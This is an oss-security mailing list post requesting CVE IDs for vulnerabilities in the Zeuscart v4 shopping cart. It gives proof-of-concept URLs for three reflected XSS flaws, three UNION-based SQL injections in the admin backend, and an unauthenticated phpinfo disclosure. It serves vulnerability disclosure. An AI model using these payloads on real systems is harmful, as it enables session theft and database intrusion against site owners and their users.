oss-security - CVE-Request -- Zeuscart v. 4 -- Multiple reflecting XSS-, SQLi and InformationDisclosure-vulnerabilities

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Date: Mon, 23 Feb 2015 05:54:30 +0100
From: Steffen Rösemann <steffen.roesemann1986@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE-Request -- Zeuscart v. 4 -- Multiple reflecting XSS-, SQLi and InformationDisclosure-vulnerabilities

Hello Steve, Josh, vendors, list.

I found multiple reflecting XSS-, SQLi- and
InformationDisclosure-vulnerabilities in ECommerce Shopping-Cart Zeuscart
v.4.

====
XSS
====

Reflecting XSS-vulnerabilities can be found in a common
Zeuscart-installation in the following locations and could be exploited for
example by crafting a link and make a registered user click on that link.

The parameter "search", which is used in the index.php is vulnerable to
XSS-attacks.

Exploit-Example:

http://
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--

By appending arbitrary HTML- and/or JavaScript-code to the parameter
"schltr" which is as well used in index.php, an attacker could exploit this
XSS-vulnerable parameter:

Exploit-Example:

http://
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

The third XSS-vulnerability can be found in the "brand"-parameter, which is
again used in index.php.

Exploit-Example:

http://
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E

====
SQLi
====

The SQL injection-vulnerabilities can be found in the administrative
backend of Zeuscart v. 4 and reside in the following locations in a common
installation.

By appending arbitrary SQL statements to the "id"-parameter, an attacker
could exploit this SQL injection vulnerability:

Exploit-Example:

http://
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+

Another SQL injection vulnerability can be found here and can be exploited
by appending SQL statements to the vulnerable "cid"-parameter:

Exploit-Example:

http://
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+

The last SQL injection vulnerability I found can be found in the following
location and can be exploited by appending SQL statements to the vulnerable
"id" parameter:

http://
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+

==============
Information Disclosure
==============

The administrative backend of Zeuscart v. 4 allows the admin to use a
functionality, which displays the PHP-installation settings via phpinfo():

http://{TARGET}/admin/?do=getphpinfo

Unfortunately, the PHP-script does not check, if an authorized admin
executes this functionality: It is possible even for unregistered users to
request the above link to see the informations, phpinfo() displays. That
could expose sensitive informations to an attacker which could lead to
further exploitation.

Can I have a CVE-ID / CVE-IDs for these issues?

Thank you very much.

Greetings from Germany.

Steffen Rösemann

References:

[1] http://zeuscart.com/
[2] https://github.com/ZeusCart/zeuscart
[3] https://github.com/ZeusCart/zeuscart/issues/28
[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html
[5] https://github.com/sroesemann/zeuscart
[6] http://seclists.org/fulldisclosure/2015/Feb/89

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